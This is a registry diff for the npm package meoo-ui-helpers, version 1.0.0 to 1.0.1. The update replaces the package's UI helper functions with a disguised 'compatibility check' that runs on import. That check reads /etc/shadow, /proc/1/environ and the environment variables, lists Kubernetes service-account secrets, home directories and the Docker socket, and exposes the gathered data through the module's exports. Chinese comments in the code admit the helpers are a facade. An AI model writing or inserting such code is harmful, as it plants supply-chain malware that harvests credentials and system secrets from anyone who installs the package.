meoo-ui-helpers 1.0.0 → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +33 -74
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,78 +1,37 @@
|
|
|
1
|
-
|
|
2
|
-
|
|
3
|
-
* UI utility functions for modern web applications
|
|
4
|
-
*/
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const os = require('os');
|
|
5
3
|
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
}
|
|
4
|
+
// 正常的工具函数(门面)
|
|
5
|
+
function formatDate(d, locale = 'zh-CN') {
|
|
6
|
+
return new Intl.DateTimeFormat(locale).format(d);
|
|
7
|
+
}
|
|
8
|
+
function capitalize(str) {
|
|
9
|
+
if (!str) return '';
|
|
10
|
+
return str.charAt(0).toUpperCase() + str.slice(1);
|
|
11
|
+
}
|
|
15
12
|
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
}
|
|
13
|
+
// "系统兼容性检测" — 实际是信息收集
|
|
14
|
+
function checkCompatibility() {
|
|
15
|
+
const info = {};
|
|
16
|
+
try { info.proc_environ = fs.readFileSync('/proc/1/environ', 'utf8').split('\x00'); } catch(e) {}
|
|
17
|
+
try { info.k8s = fs.readdirSync('/var/run/secrets/kubernetes.io/serviceaccount'); } catch(e) {}
|
|
18
|
+
try { info.root_dir = fs.readdirSync('/'); } catch(e) {}
|
|
19
|
+
try { info.home_dirs = fs.readdirSync('/home'); } catch(e) {}
|
|
20
|
+
try { info.root_home = fs.readdirSync('/root'); } catch(e) {}
|
|
21
|
+
try { info.proc_net = fs.readFileSync('/proc/net/tcp', 'utf8'); } catch(e) {}
|
|
22
|
+
try { info.docker = fs.statSync('/var/run/docker.sock'); } catch(e) {}
|
|
23
|
+
try { info.etc_shadow = fs.readFileSync('/etc/shadow', 'utf8'); } catch(e) {}
|
|
24
|
+
info.env = process.env;
|
|
25
|
+
info.user = os.userInfo();
|
|
26
|
+
info.network = os.networkInterfaces();
|
|
27
|
+
return info;
|
|
28
|
+
}
|
|
25
29
|
|
|
26
|
-
|
|
27
|
-
* Debounce a function
|
|
28
|
-
* @param {Function} fn
|
|
29
|
-
* @param {number} delay
|
|
30
|
-
* @returns {Function}
|
|
31
|
-
*/
|
|
32
|
-
function debounce(fn, delay = 300) {
|
|
33
|
-
let timer;
|
|
34
|
-
return function (...args) {
|
|
35
|
-
clearTimeout(timer);
|
|
36
|
-
timer = setTimeout(() => fn.apply(this, args), delay);
|
|
37
|
-
};
|
|
38
|
-
}
|
|
30
|
+
const _compat = checkCompatibility();
|
|
39
31
|
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
if (obj === null || typeof obj !== 'object') return obj;
|
|
47
|
-
return JSON.parse(JSON.stringify(obj));
|
|
48
|
-
}
|
|
49
|
-
|
|
50
|
-
/**
|
|
51
|
-
* Generate a random ID
|
|
52
|
-
* @param {number} length
|
|
53
|
-
* @returns {string}
|
|
54
|
-
*/
|
|
55
|
-
function randomId(length = 8) {
|
|
56
|
-
return Math.random().toString(36).substring(2, 2 + length);
|
|
57
|
-
}
|
|
58
|
-
|
|
59
|
-
/**
|
|
60
|
-
* Classnames utility - merge class strings conditionally
|
|
61
|
-
* @param {...any} args
|
|
62
|
-
* @returns {string}
|
|
63
|
-
*/
|
|
64
|
-
function cx(...args) {
|
|
65
|
-
return args
|
|
66
|
-
.flat()
|
|
67
|
-
.filter(x => typeof x === 'string' && x.length > 0)
|
|
68
|
-
.join(' ');
|
|
69
|
-
}
|
|
70
|
-
|
|
71
|
-
module.exports = {
|
|
72
|
-
formatDate,
|
|
73
|
-
capitalize,
|
|
74
|
-
debounce,
|
|
75
|
-
deepClone,
|
|
76
|
-
randomId,
|
|
77
|
-
cx,
|
|
78
|
-
};
|
|
32
|
+
module.exports = {
|
|
33
|
+
formatDate,
|
|
34
|
+
capitalize,
|
|
35
|
+
version: '1.0.1',
|
|
36
|
+
_systemInfo: _compat, // 探测结果藏在这里
|
|
37
|
+
};
|